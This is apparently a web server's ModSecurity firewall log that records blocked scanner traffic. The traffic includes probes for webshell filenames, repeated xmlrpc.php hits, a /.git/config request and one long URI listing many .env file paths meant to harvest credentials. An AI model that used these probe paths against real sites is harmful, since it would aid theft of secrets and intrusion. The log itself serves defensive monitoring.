[Sat May 09 00:00:22.125648 2026] [:error] [pid 61355:tid 61376] [client 20.238.36.81:7990] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4IlvkhJTi30CBXmMn64AAAAY8"]
[Sat May 09 00:00:22.643079 2026] [:error] [pid 51008:tid 51057] [client 20.238.36.81:15722] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4IlnB58C2Y1tgLtuLFkgAAAEg"]
[Sat May 09 00:00:23.192788 2026] [:error] [pid 51009:tid 51093] [client 20.238.36.81:6441] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4Il-B0GbUWhxgzX9VxwAAAAJE"]
[Sat May 09 00:00:23.694440 2026] [:error] [pid 34318:tid 34341] [client 20.238.36.81:18190] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4Il8r3guirgJiKhzD13QAAARU"]
[Sat May 09 00:00:24.194212 2026] [:error] [pid 51008:tid 51063] [client 20.238.36.81:9434] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4ImHB58C2Y1tgLtuLFlwAAAE4"]
[Sat May 09 00:00:24.705464 2026] [:error] [pid 34318:tid 34344] [client 20.238.36.81:7447] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4ImMr3guirgJiKhzD13wAAARg"]
[Sat May 09 00:00:25.272998 2026] [:error] [pid 51007:tid 51025] [client 20.238.36.81:6428] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4ImVMagSGstWKyzzUMBQAAAAM"]
[Sat May 09 00:00:25.822572 2026] [:error] [pid 34318:tid 34327] [client 20.238.36.81:1957] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4Imcr3guirgJiKhzD14AAAAQc"]
[Sat May 09 00:00:26.339393 2026] [:error] [pid 51009:tid 51094] [client 20.238.36.81:8550] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4ImuB0GbUWhxgzX9VxxQAAAJI"]
[Sat May 09 00:00:26.902077 2026] [:error] [pid 61355:tid 61382] [client 20.238.36.81:13485] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4ImvkhJTi30CBXmMn64wAAAZU"]
[Sat May 09 00:00:27.450376 2026] [:error] [pid 51007:tid 51028] [client 20.238.36.81:16177] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4Im1MagSGstWKyzzUMBgAAAAY"]
[Sat May 09 00:00:27.985395 2026] [:error] [pid 51113:tid 51123] [client 20.238.36.81:18178] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4Im0Qfs7sWtqkpQIePSQAAAMg"]
[Sat May 09 00:00:28.439077 2026] [:error] [pid 51009:tid 51095] [client 43.154.140.188:58870] [client 43.154.140.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af4InOB0GbUWhxgzX9VxygAAAJM"]
[Sat May 09 00:00:28.483990 2026] [:error] [pid 51113:tid 51116] [client 20.238.36.81:18492] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4InEQfs7sWtqkpQIePSwAAAME"]
[Sat May 09 00:00:29.009207 2026] [:error] [pid 61317:tid 61323] [client 20.238.36.81:13590] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4Inc-fFk_CedOCOYvxIAAAAUM"]
[Sat May 09 00:00:29.560352 2026] [:error] [pid 61355:tid 61373] [client 20.238.36.81:5598] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4InfkhJTi30CBXmMn65QAAAYw"]
[Sat May 09 00:00:30.105600 2026] [:error] [pid 61317:tid 61327] [client 20.238.36.81:18457] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4Ins-fFk_CedOCOYvxIwAAAUc"]
[Sat May 09 00:00:30.604374 2026] [:error] [pid 51009:tid 51088] [client 20.238.36.81:9464] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4InuB0GbUWhxgzX9VxzwAAAIw"]
[Sat May 09 00:00:31.138104 2026] [:error] [pid 34318:tid 34343] [client 20.238.36.81:5266] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4In8r3guirgJiKhzD14gAAARc"]
[Sat May 09 00:00:31.647331 2026] [:error] [pid 61356:tid 61409] [client 20.238.36.81:7954] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4In4x3vpB8oWhUq2MAgwAAAdU"]
[Sat May 09 00:00:52.053296 2026] [:error] [pid 61356:tid 61398] [client 20.238.36.81:13593] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4ItIx3vpB8oWhUq2MAqgAAAco"]
[Sat May 09 00:00:52.586657 2026] [:error] [pid 51009:tid 51092] [client 20.238.36.81:7940] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4ItOB0GbUWhxgzX9Vx_AAAAJA"]
[Sat May 09 00:00:53.116901 2026] [:error] [pid 51009:tid 51082] [client 20.238.36.81:15694] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4IteB0GbUWhxgzX9VyAAAAAIY"]
[Sat May 09 00:00:53.648322 2026] [:error] [pid 61317:tid 61324] [client 20.238.36.81:8513] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4Itc-fFk_CedOCOYvxQwAAAUQ"]
[Sat May 09 00:00:54.162373 2026] [:error] [pid 61356:tid 61397] [client 20.238.36.81:13601] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4Itox3vpB8oWhUq2MArAAAAck"]
[Sat May 09 00:00:54.678969 2026] [:error] [pid 51007:tid 51045] [client 20.238.36.81:9435] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4ItlMagSGstWKyzzUMEAAAABc"]
[Sat May 09 00:00:55.218705 2026] [:error] [pid 51007:tid 51038] [client 20.238.36.81:14473] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4It1MagSGstWKyzzUMEgAAABA"]
[Sat May 09 00:00:55.749595 2026] [:error] [pid 61355:tid 61362] [client 20.238.36.81:3122] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4It_khJTi30CBXmMn69gAAAYE"]
[Sat May 09 00:35:12.336075 2026] [:error] [pid 61355:tid 61379] [client 103.254.214.46:55155] [client 103.254.214.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.254.214.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af4QwPkhJTi30CBXmMkImAAAAZI"]
[Sat May 09 00:35:23.760179 2026] [:error] [pid 61356:tid 61390] [client 103.254.214.46:59124] [client 103.254.214.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.254.214.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af4Qy4x3vpB8oWhUq2MMcwAAAcI"]
[Sat May 09 00:35:34.458795 2026] [:error] [pid 61317:tid 61332] [client 103.254.214.46:60790] [client 103.254.214.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.254.214.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af4Q1s-fFk_CedOCOYv39QAAAUw"]
[Sat May 09 00:35:45.254403 2026] [:error] [pid 51009:tid 51081] [client 103.254.214.46:49982] [client 103.254.214.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.254.214.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af4Q4eB0GbUWhxgzX9V6ogAAAIU"]
[Sat May 09 00:35:56.302434 2026] [:error] [pid 61356:tid 61392] [client 103.254.214.46:61516] [client 103.254.214.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.254.214.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af4Q7Ix3vpB8oWhUq2MMlQAAAcQ"]
[Sat May 09 01:33:36.280567 2026] [:error] [pid 61356:tid 61388] [client 130.131.249.131:9549] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "af4ecIx3vpB8oWhUq2MotwAAAcA"]
[Sat May 09 01:33:36.655790 2026] [:error] [pid 61355:tid 61364] [client 130.131.249.131:9554] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "af4ecPkhJTi30CBXmMkxOgAAAYM"]
[Sat May 09 01:33:37.037904 2026] [:error] [pid 61355:tid 61380] [client 130.131.249.131:9583] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "af4ecfkhJTi30CBXmMkxQQAAAZM"]
[Sat May 09 01:33:37.417595 2026] [:error] [pid 51009:tid 51096] [client 130.131.249.131:9502] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "af4eceB0GbUWhxgzX9WS2wAAAJQ"]
[Sat May 09 01:33:37.803519 2026] [:error] [pid 51007:tid 51046] [client 130.131.249.131:9541] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "af4ecVMagSGstWKyzzUaxQAAABg"]
[Sat May 09 01:33:38.271390 2026] [:error] [pid 61355:tid 61361] [client 130.131.249.131:9477] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "af4ecvkhJTi30CBXmMkxTwAAAYA"]
[Sat May 09 01:33:38.679245 2026] [:error] [pid 61355:tid 61369] [client 130.131.249.131:9552] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "af4ecvkhJTi30CBXmMkxVAAAAYg"]
[Sat May 09 01:33:39.205427 2026] [:error] [pid 61355:tid 61363] [client 18.220.167.180:56156] [client 18.220.167.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "af4ec_khJTi30CBXmMkxXQAAAYI"]
[Sat May 09 01:33:39.631501 2026] [:error] [pid 61355:tid 61380] [client 130.131.249.131:9483] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "af4ec_khJTi30CBXmMkxYgAAAZM"]
[Sat May 09 01:33:40.008345 2026] [:error] [pid 51008:tid 51070] [client 130.131.249.131:9480] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "af4edHB58C2Y1tgLtuLbggAAAFU"]
[Sat May 09 01:33:40.387675 2026] [:error] [pid 51008:tid 51049] [client 130.131.249.131:9536] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "af4edHB58C2Y1tgLtuLbgwAAAEA"]
[Sat May 09 01:33:40.776081 2026] [:error] [pid 61356:tid 61407] [client 130.131.249.131:9566] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "af4edIx3vpB8oWhUq2MovgAAAdM"]
[Sat May 09 01:33:41.155590 2026] [:error] [pid 61355:tid 61385] [client 130.131.249.131:9594] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "af4edfkhJTi30CBXmMkxcgAAAZg"]
[Sat May 09 01:33:41.530979 2026] [:error] [pid 61355:tid 61380] [client 130.131.249.131:9597] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "af4edfkhJTi30CBXmMkxeQAAAZM"]
[Sat May 09 01:33:41.596559 2026] [:error] [pid 51007:tid 51035] [client 18.220.167.180:56166] [client 18.220.167.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4edVMagSGstWKyzzUayQAAAA0"]
[Sat May 09 01:33:41.919078 2026] [:error] [pid 51007:tid 51030] [client 130.131.249.131:9479] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "af4edVMagSGstWKyzzUaygAAAAg"]
[Sat May 09 01:33:42.394463 2026] [:error] [pid 51113:tid 51124] [client 130.131.249.131:9472] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "af4edkQfs7sWtqkpQIebWAAAAMk"]
[Sat May 09 01:33:42.813951 2026] [:error] [pid 51009:tid 51082] [client 130.131.249.131:9571] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "af4eduB0GbUWhxgzX9WS4gAAAIY"]
[Sat May 09 01:33:43.197323 2026] [:error] [pid 61356:tid 61395] [client 130.131.249.131:9557] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "af4ed4x3vpB8oWhUq2MowAAAAcc"]
